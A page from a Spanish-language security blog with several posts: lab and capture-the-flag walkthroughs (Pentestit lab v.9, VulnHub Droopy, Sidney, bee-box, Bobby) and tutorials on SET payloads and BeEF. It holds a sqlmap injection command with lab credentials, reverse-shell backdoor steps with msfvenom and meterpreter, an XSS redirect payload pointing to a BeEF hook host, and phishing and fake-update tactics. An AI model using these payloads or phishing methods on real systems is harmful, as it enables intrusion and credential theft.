Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas

domingo, 4 de septiembre de 2016

Pentestit.ru - Test lab v.9 (Parte I)

Buenas hackers! Bienvenidos al lab.pentestit.ru

Me ha costado hacerlo en una semana más o menos y es el tiempo que me puse para hacerlo. No lo he terminado debido a su dificultad, y aún con ayuda me quede de momento en el 63%. Tengo que dar agradecimientos al compañero belane que me resolvió un token, ya que andaba bastante perdido y también a una persona del canal de telegram en inglés del lab, que me ha ayudado en el transurso de él. Gracias.

Una vez dicho esto, hay que conectarse mediante VPN al servidor. Para ello podemos hacerlo de dos formas, bajarnos la iso que tienen disponible para hacer el lab o bajarse el archivo de configuracion de la VPN y usar openvpn con dicho archivo. Usare esta ultima para poder usar parrotOS.
Por tanto solo basta con descargarnos ese arhivo e irnos luego a network connections y añadir una nueva conexion VPN, importando una configuracion VPN previamente guardada. Una vez elegido esto simplemente hay que poner el user y la pass que nos proporciona la web.
Es muy aconsejable que miremos el esquema de la red interna del lab, ya que es la estructura principal por donde nos moveremos en el pentesting. Vemos que hay dos subredes bien diferenciadas y distintos servidores con software y sistemas diferenciados, al giaul que los servicios que prestan.
De primeras solo podemos hacer un descubrimiento de red a la ip del gateway. Una vez conectado a la VPN necesitamos nmap para ver que puertos del gateway estan abiertos.

Atención Spoiler!!

Nmap para realizar un escaneo Con la opción -sV permite ver la versión de los servicios, con -A permite la deteción de OS, la versión, script scanning, y traceroute. Con -T4 indica el tiempo de envió de los paquetes, es decir desde 0-6, la más baja es la más lenta, y también mejor ya que podría evadir algunos firewall.
 Haciendo pruebas en el navegador, no resuelve el dominio por el protocolo http. Con https nos dice que es inseguro y en el puerto 8100 vemos que es un servidor de correo.
"El archivo hosts de un ordenador es usado por el sistema operativo para guardar la correspondencia entre dominios de Internet y direcciones IP. Este es uno de los diferentes métodos que usa el sistema operativo para resolver nombres de dominios."Wikipedia.
Así añadimos la dirección del gateway con su nombre del dominio y guardamos. Vemos dos email que pueden ser usados como nombres de usuario dentro de la red, así que es importante tenerlo en cuenta para mas adeltante.

Vemos su código fuente y no se ve nada de interés, unicamente contenido de wordpress. Si es un wordpress ¿Por qué no probamos el wp-login? Bien vemos que hay detras un WAF, detector de intrusos. Probamos dirb para hacer fuzzing de los directorios (Sin resultados positivos).
Sabiendo que es un wordpress, vamos a usar wpscan, para poder enumerar diferentes usuarios y las vulnerabilidades de los plugins.
 Probe buscar en searchsploit symposium para ver algún tipo de exploit para poder ganar algun tipo de acceso al servidor. En uno de ellos usaremos un SQLi en donde se aprecia una PoC, por tanto que mejor que usarla. Permite de una forma muy sencilla usando wget, obtener la base de datos incluyendo datos e informacion sensinble de usuarios y hashes de las contraseñas. Sin exito, error 403 Forbbiden. Creo que no se puede explotar ninguna vulnerabilidad por el puerto 80 debido al WAF. Así que probemos el puerto 443 https.

Segun Nmap esta abierto el puerto y la version de nginx esta obsoleta. Vamos a ver que tipo de SSL se esta usando con sslscan.
Esta herramienta permite realizar un escaneo para la busca de vulnerabilidad del SSL, y así poder subsanarla.
Según el resultado nos indica que es vulnerable a heartbleed. Podemos usar los scripts de Nmap para poder ver la vulnerabilidad del SSL tambien. Recomiendo usar la documentación en la web de Nmap en la seccion de NSE para ver todos los scripts disponibles que tenemos para poder hacer una buena auditoría de seguridad y pentesting.
Obtenemos un resultado positivo con un riesgo alto.
Vamos a usar metasploit, un auxiliar para poder explotar dicha vulnerabilidad en busca de información. La recoleccion de información es un proceso muy importante para poder encontrar información sensible como por ejemplo usuarios.
Seleccionamos la versión del TLS, rhost y en verbose para poder ver la salida de la ejecucción del auxiliar.
Encontramos un backup de usuarios....
Es una dirección web, como podemos observar en /var/html/_old.....
Lo introduccimos en el navegador y nos lo descargamos.
Bien tenemos unos usuarios con sus hashes.
Usaremos hashcat y el parametro -m
Y el resultado es la obtención del token bypass y conttraseñas utiles que nos van a servir para hacer lo que vendrá a continuación.

Una vez obtenido los usuarios del proxy, ya que vimos el resultado del nmap con un puerto abierto y su servicio proxy, vamos a usar sqlmap para explotar la vulnerabilidad anterior con el proxy y con las credenciales de un usuario.
Usamos esta parte del exploit que encontramos:
/wp-content/plugins/wp-symposium/get_album_item.php?size=
Como hay un WAF y en los intentos no nos ha dado resultado, ponemos el como proxy la url de la web:
--proxy="http://192.168.101.8:3128"

 y usamos una de las credenciales antes obtenidas
--proxy-cred="b.muncy:rabbit"

que nos dé un user-agent aleatorio:
--random-agent

le indica número de intentos o de carga:
--level="4"

sqlmap -u "http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=1" --dbs --proxy="http://192.168.101.8:3128" --proxy-cred="b.muncy:rabbit" --random-agent --level="4" 

Despues de un tiempo, nos devuelve dos bases de datos, concretamente MySQL.
Ahora usamos una base de datos, y obtenemos las tablas de ella
Seguidamente las columnas, y luego un dump.
Y bien, de esta forma obtenemos el token.

Una vez analizado el puerto 80 y 443, y mediante el uso del proxy pudimos obtener el token, nos conectaremos mediante el puerto 22 el servicio SSH al servidor. Es muy importante intentar conseguir acceso mediante este servicio ya que una vez conseguido podemos hacer pivoting dentro de la red interna, y a su vez crear un tunel hacia nuestro localhost y auditar o realizar un test de intrusión en dicho server interno. Por lo visto la versión del openssh no es vulnerable así que vamos a realizar la conexion para a ver si podemos obtener iunformacion del banner al conectarnos. Hice una consulta en el canal de telegram ya que no sabía por donde tirar y me dijeron que me fijase justamente en el banner. Podríamos buscar en google el nombre y saber que es. Aun así probamos contraseñas por defecto y nada. Por lo visto en github tiene un codigo en C, y podemos ver justamente el string The password en él y bueno no se programar en C, pero interpretando el código vemos lo siguiente:

En el código de la aplicación estaba la clave para pasar.
En la primera parte veíamos esto:

// disallow root logins
 if (strcmp(pUsername, "root") == 0) {
  return PAM_AUTH_ERR;
 }

Tiene deshabilitado el login de usuario " root "
En la segunda parte del código:

time_t now = time(NULL);
 struct tm *now_tm = localtime(&now);
 int hour = now_tm->tm_hour;
 int day = now_tm->tm_mday;

 char correctPass[11];
 sprintf(correctPass, "daypass%d%d", day, hour);

Nos dice time_t now = time(NULL) ----> hora actual
struct tm *now_tm = localtime(&now); ---> hora del lugar,(sabemos que el CTF está en Rusia, por lo tanto horario Ruso)
Aquí la manera de proceder con la clave:
sprintf(correctPass, "daypass%d%d", day, hour); ---->para que la pass sea correcta tenemos que poner daypass+el-día+la-hora (de Rusia)
Ejemplo:
Si en rusia son las 21:30, y hoy es el 7 de Agosto del 2016, la password sería ----> daypass721

Una vez deducida la password, usaremos usuarios comunes de linux, tal como daemon o www-data para el login en SSH.
Vemos que hay 3 users, probamos con el primero para loguearnos con él:
daemon@tl9-ssh:/etc$ su d.nash
The password: daypass723
d.nash@tl9-ssh:/etc$ cd /home
d.nash@tl9-ssh:/home$ ls -la
total 20
drwxr-xr-x 5 root root 4096 May 17 14:32 .
drwxr-xr-x 23 root root 4096 Aug 18 2013 ..
drwxr-x--- 3 root d.nash 4096 May 19 17:07 d.nash
drwxr-x--- 2 root e.grant 4096 May 17 14:54 e.grant
drwxr-x--- 2 root t.alvarez 4096 May 17 14:30 t.alvarez

Accedemos al directorio de d.nash :
d.nash@tl9-ssh:/home$ cd d.nash
d.nash@tl9-ssh:~$ ls -la
total 24
drwxr-x--- 3 root d.nash 4096 May 19 17:07 .
drwxr-xr-x 5 root root 4096 May 17 14:32 ..
-rw-r----- 1 root d.nash 220 Dec 30 2012 .bash_logout
-rw-r----- 1 root d.nash 3392 Dec 30 2012 .bashrc
-rw-r----- 1 root d.nash 675 Dec 30 2012 .profile
drwxr-x--- 2 root d.nash 4096 May 19 17:11 .ssh ------> directorio oculto

Accedemos al directorio oculto .ssh
d.nash@tl9-ssh:~$ cd .ssh
d.nash@tl9-ssh:~/.ssh$ ls -la
total 24
drwxr-x--- 2 root d.nash 4096 May 19 17:11 .
drwxr-x--- 3 root d.nash 4096 May 19 17:07 ..
-rw-r----- 1 root d.nash 1675 May 19 16:52 id_rsa
-rw-r----- 1 root d.nash 396 May 19 16:52 id_rsa.pub
-rw-r----- 1 root d.nash 222 May 19 17:11 known_hosts
-rw-r----- 1 root d.nash 10 May 19 16:57 token.txt ----> flag

Ahora vemos con cat que hay dentro del token.txt:
d.nash@tl9-ssh:~/.ssh$ cat token.txt
******ah

Un saludo, Naivenom

martes, 30 de agosto de 2016

La fraude fiscale des grandes sociétés

Buenas hackers! Y bienvenidos a otro CTF de Vulnhub

"Welcome to Droopy. This is a beginner's boot2root/CTF VM.
The VM is set to grab a DHCP lease on boot.
There's 2 hints I would offer you:
1.) Grab a copy of the rockyou wordlist.
2.) It's fun to read other people's email.
SHA1SUM: e6862fa5ebc9c2a8e582e77f440510062afe47ba droopyctf.ova
Special thanks and shout-outs go to Barrebas and Rasta_Mouse for testing, and g0tmi1k for advice and offering to host my first CTF."

Atención Spoiler!!

En este CTF veremos el uso de exploits locales gracias a searchsploit, las diferentes técnicas entre el uso de un script en Python, una shell escrita en PHP y nc, o el uso más automatizado de Metasploit.
La escalada de privilegios basada en el uso de un exploit local debido a la versión del Kernel. Recomiendo mucho esta página web para poder realizar escalada de privilegios en Linux básicos---> https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Una vez obtenido un fichero en .tc nos indica que es TrueCrypt y que tendremos que obtener una password en texto plano para poder montar un volumen. El descifrado se usa Hashcat.


Un saludo, Naivenom

jueves, 18 de agosto de 2016

Commodore64 Still Ready

Buenas a todos! CTF de Vulnhub

"Welcome to my third boot2root / CTF this one is called Sidney. The VM is set to grab a DHCP lease on boot. As before, gaining root is not the end of this VM. You will need to snag the flag, and being me, it's never where they normally live... B-) If you are having trouble with the NIC, make sure the adapter is set to use the MAC 00:0C:29:50:14:56 Some hints for you: If you are hitting a wall, read https://de.wikipedia.org/wiki/MOS_Technology_6502 The flag is audio as well as visual SHA1SUM: 114ABA151B77A028AA5CFDAE66D3AEC6EAF0751A sidney.ova Many thanks to Rasta_Mouse and GKNSB for testing this CTF. Special thanks and shout-outs go to GKNSB and Rasta_Mouse, hopefully he streams this one live too! Also a shout-out to g0tmi1k for #vulnhub and offering to host my third CTF."
 
 

Atención Spoiler!!

Primero comenzamos haciendo un descubrimiento de red y una vez localizado el objetivo simplemente haciendo un escaner para saber los puertos abiertos y sus servicios.
Ejecutaremos nikto para realizar un escaneo del sito web, detectando la versión del servidor, el tipo de CMS instalado, vulnerabilidades etc...
Ejecutamos dirb para ver los directorios del servidor Apache, usando el diccionario que nos encontramos en la carpeta de dirb llamado big.txt.
Damos con el directorio commodore64 muy interesante donde partiremos y encontraremos información muy valiosa en su codigo fuente.
En la descripcion de la máquina virtual y segun lo visto con el codigo fuente, debemos investigar sobre commodore 64. Ademas en el codigo fuente nos da posible un usuario y el patron usado en la contraseña es decir 3letras y 4 digitos sin espacios...algo en la wikipedia tenemos que encontrar.
Bien ahora tenemos dos opciones. Lo haremos con los dos metodos para obtener lo mismo.
Usaremos wireshark + hydra, y el otro metodo es hacer todo con burpsuite. 
Con wireshark realizaremos un login con el posible usuario y la pass vacía para poder capturar los paquetes.
Analizamos el protocolo HTTP con el metodo POST que es el que nos interesa, y en la capa de aplicacion Hypertext Transfer Protocol, vemos lo capturado en el paquete como por ejemplo la cookie de sesion, y el formulario de envio con el metodo POST para acceder al login cuyo name es el input_username en texto plano...Esto sera de gran importancia para realizar el ataque con burpsuite y con hydra.
Con burpsuite hacemos lo mismo, configuramos el proxy del navegador en localhost y realizamos de nuevo la peticion HTTP con el metodo POST del login y analizamos lo capturado con burp. Nos lo pinta mas bonito que wireshark, y se ve los tres campos name, y el usuario en texto plano de la peticion HTTP. 
Una vez obtenida la password ya sea con burpsuite o con hydra vamos a crear con msfvenom un payload en php reverse, para poder conseguir una sesion meterpreter y a su vez iniciaremos el metasploit para tener el listener a la escucha de la conexión entrante que se recibira.
Bien al crear el payload sino se pone el puerto, por defecto es el 4444, y en el multi/handler pusimos el 5555, por tanto debemos modificar el source del archivo php y cambiar el puerto. 

Hacemos una peticion HTTP con curl y recibiremos nuestra sesion meterpreter, con una shell reversa del servidor. 
Visulizamos el archivo etc/passwd. Y nos tendremos que fijar muy bien el tercer campo por la izquierda osea el User ID(UID). UID 0(reservado a root) y del 1-99 (reservado a otras cuentas de usuario).
Se hará sudo -l y veremos que un usuario en el cual nos logeamos, puede ejecutar cualquier comando como root. 
Bien una vez realizada la escalada de privilegios, nos dirijimos al directorio /root para poder capturar la bandera.
Al final del vídeo os muestro otra alternativa para poder conseguir escalar privilegios. Será a través de crontab y el uso de un exploit, por la versión particular de Ubuntu.


Espero que os sirva esta solución al CTF :)
Un saludo Naivenom

miércoles, 10 de agosto de 2016

Pentesting a la abeja (Parte I)

Buenas hackers! En este CTF vamos a hacer un pentesting a esta maquina de Vulnhub
Es una maquina muy completa que permite realizar un test de intrusión al servidor, además de hacer retos de pentesting web tal como SQLi, XSS, LFI etc...



----------------
bee-box - README
----------------

bee-box is a custom Linux VM pre-installed with bWAPP.

With bee-box you have the opportunity to explore all bWAPP vulnerabilities!
bee-box gives you several ways to hack and deface the bWAPP website.
It's even possible to hack the bee-box to get root access...

This project is part of the ITSEC GAMES project. ITSEC GAMES are a fun approach to IT security education. 
IT security, ethical hacking, training and fun... all mixed together.
You can find more about the ITSEC GAMES and bWAPP projects on our blog.

We offer a 2-day comprehensive web security course 'Attacking & Defending Web Apps with bWAPP'.
This course can be scheduled on demand, at your location!
More info: http://goo.gl/ASuPa1 (pdf)

Enjoy!

Cheers

Malik Mesellem
Twitter: @MME_IT
 

Atención Spoiler!!

Se verá dirbuster para realizar una busqueda mediante fuerza bruta en directorios y archivos del servidor. Existen distintos diccionarios en la carpeta wordlists sobre esta herramienta.
Una vez visto con dirbuster el listado de directorios obtenidos y garantizado un metodo de acceso para poder subir un backdoor, vamos a iniciar el metasploit para comprobar FTP por el puerto 21, y asi un medio de subida al servidor.
Con el usuario anonymous se aprecia que tiene permisos de lectura y escritura, y por tanto que esta habilitado este tipo de usuario en el servidor FTP, muy usado en las organizaciones para acceso publico.
Se crea un backdoor en php, para poder obtener una shell reversa, con msfvenom.
Una vez subido necesitamos tener el exploit multi/handler a la escucha de la conexión inversa o payload creado con msfvenom en php. Por tanto tenemos que elegir el payload que usamos para crear ese rabbit.php
Una vez a la escucha, abrimos el navegador y enviamos una peticion http clickeando el archivo rabbit.php y asi se nos abrira una sesion meterpreter a nivel usuario del servidor.


Un saludo Naivenom

martes, 12 de julio de 2016

Setoolkit para la creación de payloads

Buenas noches hackers! En esta entrada con un vídeo explicativo de Rabbit Hutch, se procederá a la creación de payloads y el uso del exploit/multi/handler para estar a la escucha de por un puerto determinado a la espera de una conexión inversa a nuestro host, dentro de una red LAN proporcionada por VMware y en un entorno controlado virtualizado.


SET, proporciona un gran abanico de posibilidades en cuanto a ataques de ingeniería social. Estas herramientas se integran con el framework Metasploit para así garantizar una fase de explotación en el sistema víctima. 
La creación de un payload ejecutable garantiza que ese binario malicioso mediante la ingeniería social, la víctima pueda ejecutarlo y así realizar la conexión hacia nuestro host y la obtención de meterpreter para uso de administración remota del sistema. 
Este payload generado no es FUD, por tanto existen métodos de ofuscación de código ya sea una vez compilado, o desde su código fuente. Para ello esta entrada y este vídeo es un mera introducción a malware, detectado por los diferentes AV's existentes en el mercado. Dentro de poco veremos herramientas que generan troyanos o RAT, completamente FUD o casi. 
Pero básicamente el procedimiento es el mismo. La elección de un payload y su correspondiente exploit. Herramientas como Veil-Evasion permiten la creación de payloads y poder usarlo con el exploit/multi/handler de Metasploit a la espera de la conexión (o payload) inversa dada una dirección IP pública o privada y un puerto determinado. 
También veremos más adelante de forma teórica ataques fuera de la red LAN mediante el uso de NoIP y apertura de puertos en la puerta de enlace o gateway. 

Proof of concept

Un saludo Naivenom

viernes, 10 de junio de 2016

Reto VulnHub: Bobby

Qué pasa hackers! Hoy vengo con ganas de traeros un reto de VulnHub. Para quien no lo conozca, VulnHub es una página donde pueden encontrarse diferentes recursos para practicar y aprender acerca de seguridad, administración y redes, muchas veces en forma de reto.

Estos retos te dan un objetivo, que en materias de seguridad suele ser ganar acceso de root (o administrador) de sistema dentro de una máquina virtual, aunque puede ser otro objetivo, como el robo de información conseguir un flag o bandera, por poner ejemplos. En el caso que nos ocupa, es un reto de seguridad cuyo objetivo es conseguir dicho flag.

Un flag o bandera es normalmente un fichero, dentro de la propia máquina (más o menos escondido), que podemos conseguir cumpliendo los objetivos y consiguiendo acceso a cierta parte del sistema de archivos de la misma. Este flag es la prueba de que hemos conseguido dichos objetivos; por decirlo de alguna forma, hemos superado la prueba. 

La máquina que trataremos es Bobby. Bobby es un pobre sujeto que ha decidido comenzar un blog personal alojado en su misma máquina, publicando algunos datos personales sin prestar demasiada atención a la seguridad de la misma antes de ponerla al alcance de cualquiera en Internet.

La fuente de dicha máquina puede encontrarse aquí. Para instalar la máquina necesitaremos un software de virtualización (yo utilizo VMware Workstation, otra opción es Virtual Box). En la página encontraremos un fichero ejecutable, que al ejecutarse abrirá una utilidad para generar una imagen de Windows XP Professional SP3 vulnerable, tomando como entrada una imagen normal de dicho sistema operativo.

Este método suele utilizarse en páginas como VulnHub; modifica un sistema operativo para asegurarse que al instalarse sea vulnerable de una u otra manera (abriendo puertos, instalando servicios de red, creando usuarios, etc.) sin tener que modificar nada en la máquina posteriormente.

Una vez instalada la máquina, tenemos un equipo XP vulnerable. En mi caso, suelo configurar todas las máquinas de prueba en modo de red NAT para que no sean accesibles desde el exterior, pero sí entre ellas.

Máquina XP de Bobby funcionando en Vmware Workstation
Podemos empezar realizando una exploración de los puertos y servicios de la máquina mediante Zenmap (o nmap). Puede hacerse en la máquina anfitrión o a través de cualquier otra máquina que tengamos virtualizada en la misma red NAT. En este caso utilizaré para las pruebas una máquina Kali Linux.

Primero tenemos que conocer la dirección IP de la máquina objetivo. Aunque normalmente podemos conocerla mediante un barrido IP con nmap o Zenmap, en la página donde conseguimos la máquina podemos ver que está configurada con la IP 192.168.1.11. Por ahorrarnos problemas de direccionamiento, estableceremos nuestra red NAT dentro de la misma subred (192.168.10/24).

Conociendo ya a priori la dirección IP del objetivo, ejecutamos un escaneo IP intenso con Zenmap. Puede hacerse de forma similar en nmap, pero así tenemos resultados más visuales.

Reporte de Zenmap
Vemos ya que hay dos servicios abiertos: un servicio web tipo IIS (servidor web de Microsoft) y un servicio FTP. Ya tenemos por dónde empezar a explorar. Si accedemos al servicio mediante el explorador web, nos encontraremos un blog personal que Bobby acaba de empezar, con algunos datos acerca de su persona: su película favorita, su grupo favorito y su sistema operativo preferido.

El blog de Bobby
Siempre que nos encontremos una página web, se debería echar un vistazo al código fuente de la misma en búsqueda de pistas acerca de su naturaleza, comentarios del autor, etc. La experiencia puede decirnos que, al ser una página muy simple, probablemente programada puramente a mano, haya anotaciones y comentarios en el HTML. Efectivamente, podemos ver uno interesante.

Comentario en el código fuente
Al parecer, Bobby prefiere que le llamen Bobby, y no Bob o Robert. Este tipo de datos siempre vienen bien a la hora de recolectar información; al usuario de este sistema se le llama de tres maneras, que bien pueden ser su nombre de usuario o parte de él. Lo anotaremos para luego.

Podemos seguir explorando un poco el servicio web. Para ello podemos contar con herramientas como Nikto o WhatWeb, que realizan una serie de comprobaciones automáticas sobre el servidor web y nos arrojan datos muy valiosos acerca del mismo. Ambas herramientas se encuentran dentro de Kali Linux, pero son descargables para otras distribuciones.

Salida de Nikto sobre el servicio web
Salida de WhatWeb sobre el servicio web
Algunos datos interesantes que tenemos sobre el servicio es que es un Microsoft IIS versión 5.1 (desactualizado), y que tiene habilitados los métodos PUT y TRACE, que son considerados muy inseguros. Es sobre todo interesante este primer método, ya que nos permite subir archivos al servidor web. Además, no se ha borrado la página /localstart.asp, incluida de forma predeterminada en servidores IIS antiguos como este.

Tras una breve exploración al servicio web, comprobamos que podemos conectarnos al servicio FTP mediante una simple sesión de consola. Pero, ¿cual es el usuario y la contraseña? En este punto es interesante probar un ataque de fuerza bruta mediante diccionario sobre el servicio FTP.

Para ello, necesitamos dos diccionarios: uno para los nombres de usuario, dado que no conocemos ninguno, y otro para las contraseñas. Para el primero, podemos intentar con uno bastante simple hecho a mano, contando con los posibles nombres de Bobby: Bobby, Bob y Robert.

Lista/diccionario corto de usuarios
Los introduciremos con la primera letra tanto en mayúscula como en minúscula, solo por si acaso. Si estos usuarios no resultan, habría que probar otras opciones más avanzadas; de momento, mantengámoslo simple.

Para el diccionario de contraseñas, utilizaremos la herramienta cewl, incluida dentro de Kali Linux. Dicha herramienta lee una página web y crea un diccionario simple a partir de las palabras que encuentra en ella. Aunque no distingue mayúsculas y minúsculas, siendo el resultado un diccionario muy simple y algo inexacto, suele ser un buen punto sobre el que empezar.

Diccionario de contraseñas generado por cewl
Para el ataque por fuerza bruta mi primera opción suele ser siempre THC Hydra, incluida también en Kali Linux con una interfaz gráfica (Hydra GTK). La configuración del ataque es bastante sencilla, simplemente introduciendo la IP objetivo, el protocolo para el ataque (FTP) y los diccionarios de usuarios y contraseñas.

El resultado aparece enseguida; hemos tenido suerte. El usuario es bob, la contraseña es Matrix. ¡Hay que proteger más los servicios, hombre!

Resultado del bruteforce
Mediante una sesión de consola, podemos acceder al servicio FTP utilizando estos credenciales. ¡Bingo! Además, nos ha tocado la lotería: tenemos acceso al directorio wwwroot que contiene las páginas web accesibles mediante el servicio IIS.

Tachán, acceso al FTP via consola
Como pequeña prueba para comprobar nuestros permisos, nos introduciremos en el directorio wwwroot e intentaremos crear un directorio llamado owned para la ocasión. Efectivamente, podemos hacerlo, así que tenemos permisos de escritura sobre el directorio raíz del servicio web. Algo preocupantemente peligroso para la víctima porque, como veremos ahora, podemos vulnerar el servicio subiendo un backdoor.

Comprobamos que tenemos permisos de escritura
Al parecer, también se ha dejado una pequeña pista en el archivo hint.html que encontramos en el directorio raíz del servicio web. Tras descargarlo, podemos ver que íbamos bien encaminados:

Pequeña pista para la explotación
Ahora podemos entrar en la fase más jugosa: la explotación. Dado que podemos subir ficheros al directorio web, una buena opción es subir en el equipo víctima un backdoor o puerta trasera que al ser accedido se conecte a nuestra máquina, proporcionando acceso completo a la víctima.

El backdoor deberá ser activado mediante el servicio web; para ello, tendrá que tener un formato de página web. Sabemos que el servidor es un Microsoft IIS con tecnología ASP, así que tendrá que ser un código ejecutable en dicho entorno.

Metasploit Framework, que podemos encontrar también en Kali Linux, nos proporciona herramientas para crear backdoors de estas características. Utilizaremos la herramienta msfvenom que nos proporciona Metasploit para esta tarea.

En este caso, msfvenom creará una página tipo ASP que, al ser accedida, realizará una conexión a nuestro equipo (lo que se conoce como conexión inversa, dado que es la víctima la que se conecta a nosotros) y ejecutará el payload Meterpreter, proporcionándonos una interfaz de acceso completa e interactiva con la víctima en forma de comandos.

El primer paso será crear el propio backdoor. Puede hacerse de manera muy sencilla con msfvenom en una consola de Kali Linux. Hay que prestar especial atención a las opciones que le indicamos, que deberán proporcionar información sobre el equipo víctima a la herramienta, como la arquitectura (x86), familia del sistema operativo (Windows) y sobre nuestro equipo, indicando la IP y el puerto a la escucha al que se conectará el backdoor.


Creación del backdoor
Acto seguido dejaremos a la escucha en nuestro equipo un handler de Metasploit que recibirá la conexión desde el equipo víctima. Para no tener que desplegar todo el framework, lo haremos mediante la utilidad msfcli, que simplemente ejecuta el handler de forma directa. Tendremos que especificar, nuestra IP y puerto que queremos a la escucha, así como el payload que se ejecutará.

Handler para la conexión

Por último, subiremos al equipo víctima el archivo ASP que ejecutará el backdoor, haciendo uso de nuestra conexión FTP. La transferencia se realiza con éxito.

Subida del backdoor a la víctima
 Solo queda ir a un explorador web, ejecutar el backdoor, y cruzar los dedos...

Sesión de Meterpreter abierta
¡El ataque ha tenido éxito! En el handler que dejamos a la escucha tenemos un intérprete Meterpreter funcionando con permisos de sistema. Hemos conseguido acceso total a la máquina. Dado que el objetivo era conseguir un flag como prueba de nuestro éxito, abriremos un intérprete de comandos de Windows con nuestra conexión Meterpreter para buscarla. La encontraremos en el escritorio del usuario Administrator.

Flag o secreto de la máquina
 Con esto, el reto queda terminado y superado. Espero que os haya gustado el desafío. Para cualquier duda o reclamación, dejad un comentario e intentaré responder lo mejor que pueda. Gracias por leer.

Un saludo!
hartek

lunes, 30 de mayo de 2016

Automatizando vulnerabilidades XSS con BeEF

Buenas compañeros,

Con esta entrada quería presentaros, aunque imagino que algunos ya lo conoceréis, la herramienta BeEF. Desde mi punto de vista es un pasada de herramienta muy útil y recomendable.



BeEF es una herramienta para automatizar ataques XSS contra aplicaciones web vulnerables del lado del cliente. BeEF contiene un gran arsenal de payloads y ataques contra el objetivo  para conseguir información útil como el sistema operativo, cookies, IP, navegador,...

BeEF ya se encuentra integrada en Kali Linux, por lo que prácticamente nos basaremos en su arranque y ya la tendremos lista para jugar.

Para ello, accediendo a la ruta /usr/share/beef-xss. 





Una vez ahí se ejecuta el fichero beEF: ./beef





También se puede ejecutar clicando en el icono del herramienta en la barra que han añadido en Kali Linux 2.0

Como se observa en la captura anterior, se puede acceder vía web en la url indicada:

http://127.0.0.1:3000/ui/panel

De tal manera que se accede al panel de login:


Seguidamente, introduciendo los credenciales por defecto (beef/beef), se consigue acceso:




Una vez con BeEF ya listo, comienza la prueba de concepto (PoC).

En primer lugar, hay que detectar una vulnerabilidad XSS reflejado o persistente en un aplicación web. Entonces introduciendo una inyección de código del estilo:

'><script>document.location="URL";</script>

BeEF tiene dos escenarios montados en un Apache,siendo uno de ellos algo más currado que es el que vamos a emplear:




Por lo tanto, se inyecta esta url en el input que detectemos vulnerable en una aplicación web:

'><script>document.location="http://172.16.1.2:3000/demos/butcher/index.html";</script>

Para esconder un poco la url, podemos utilizar acortadores de url online como https://bitly.com/ 

De esta manera, cuando una víctima entre en el XSS será redirigido a la página de beEF y se convertirá en un zoombie. Se entiende por zoombie, a un cliente, siendo éste el navegador web de la víctima que tras haber sido objeto de un XSS se dirige a una página controlado por BeEF.
En dicha página, se ejecuta el script (http://127.0.0.1:3000/hook.js) de hook, que se ejecuta cuando la víctima visita la página de BeEf.


Cuando una víctima se conecta, aparece en la vista de "Hooked Browsers":



Como se puede apreciar, un PC con la IP 192.168.1.33 con un sistema operativo Linux y con el navegador Firefox se ha conectado. En la vista de detalles, se aloja información muy útil de la víctima: versión de navegador y sistema operativo, componentes de software instalados (flash, RealPlayer, QuickTime,...)

En la vista de Logs, irán apareciendo todos los eventos del zoombie, mientras que la más interesante es la de Commands, en la que se tienen todos los módulos de BeEF.


Hay que indicar la leyenda de los módulos:

- Verde: La víctima es vulnerable y su ejecución pasa desapercibida.
- Naranja: La víctima es vulnerable pero su ejecución no pasa desapercibida.
- Gris: Indeterminado. ¡Hemos venido a jugar!
- Rojo: La víctima no es vulnerable.

Para comenzar es puede hacer un poco de fingerprinting.  Para ejecutar cualquier módulo es tan fácil como clicar en el, rellenar lo que se pida y en la parte inferior clicar en ejecutar.

Por ejemplo, se podría obtener la cookie:



Detectar si tiene RealPlayer:



Vamos a lo divertido, hay un módulo para que la víctima proporcione permisos para activar la cámara por ejemplo,



Sin embargo, en este caso no usa cámara, pero el mensaje que ve el zoombie es el siguiente:


Revisando los logs, podemos saber todo lo que ha hecho la víctima una vez ha visitado la página de BeEF



Como se muestra en la imagen, se ve todos los datos que ha introducido en los inputs del formulario de la página (un buen keylogger ejecutándose). También dónde ha movido el ratón, prácticamente se puede monitorizar todo el comportamiento del zoombie.¿Mola eh?

Volviendo a los módulos, podríamos instar a la víctima a descargarse una versión de Flash Player (que siempre hay que estar actualizando debido a toda las vulnerabilidades que tiene).
Para ello, en la vista de Ingeniería Social -> Fake Flash Update. En él se indica lo que se desea que se descargue la víctim (por defecto, viene el código de github de BeEF), pero si fueramos chicos malos, podríamos hacer que se bajará un keylogger...



En el zoombie, se vería la siguiente ventana:



Independientemente de donde clique el zoombie (Instalar, recordar más tarde, cerrar o incluso cambiar de pestaña) se pedí confirmación para la descarga del supuesto Flash.

Por último, tiene módulos para hacer un phishing tanto de gmail como de Facebook. En la mismo sección de Ingeniería Social seleccionando Google Phishing:




De tal manera, que la víctima vería el panel de login de gmail, que visualmente es igual.





De tal manera, si una víctima que no se dé cuenta, introduce sus datos, se le indicará que se ha producido un error y se le redirigirá automáticamente al sitio web oficial de gmail.

Mientras tanto en BeEF, nos aparecerán en BeEF:




Como habéis podido ver BeEF es una herramienta muy poderosa para automatizar ataques XSS secuestrando el navegador de la víctima. Ahora bien, estos ataques sólo funcionan mientras la víctima se encuentre en la página trampa de BeEF si no, no tiene efecto. Una vez que cierre el navegador se acabo, BeEF no tiene persistencia en la víctima. Sin embargo, mientras éste ahí se pueden explotar muchas cosas.

Además, BeEF se puede integrar con Metasploit para trabajar conjuntamente. Adicionalmente, hay otra herramienta llamada Subterfuge que posibilita realizar ataques Man in the Middle y también es integrable con BeeF.

Os puedo adelantar que se harán tutoriales y PoC's de estas integraciones pero más adelante =D

La finalidad de esta entrada es con fines educativos, por lo que no somos responsables para otro uso que se le pueda dar.

Espero que les guste =D

Cualquier duda dejen su comentario.

Saludos.

NaxHack5

La mejor defensa es un buena ataque







sábado, 28 de mayo de 2016

Ingeniería Social con SET y Metasploit


Buenas a todxs.

Hoy me estreno en este blog para presentaros una herramienta muy interesante orientada a la Ingeniería Social. Su nombre es SET (Social-Engineering Toolkit) y se encuentra disponible en la distribución Kali Linux.
La demo que vamos a realizar en cuestión, será la clonación (phishing) de la web de Facebook, a la vez que realizamos una infección mediante un applet de Java, que controlaremos posteriormente mediante Meterpetrer de Metasploit.
Ante todo, indicar que como obviamente todxs sabemos, esta actividad es meramente educativa y no debería usarse para cometer actos impuros.

Dicho lo dicho, ¡al turrón!

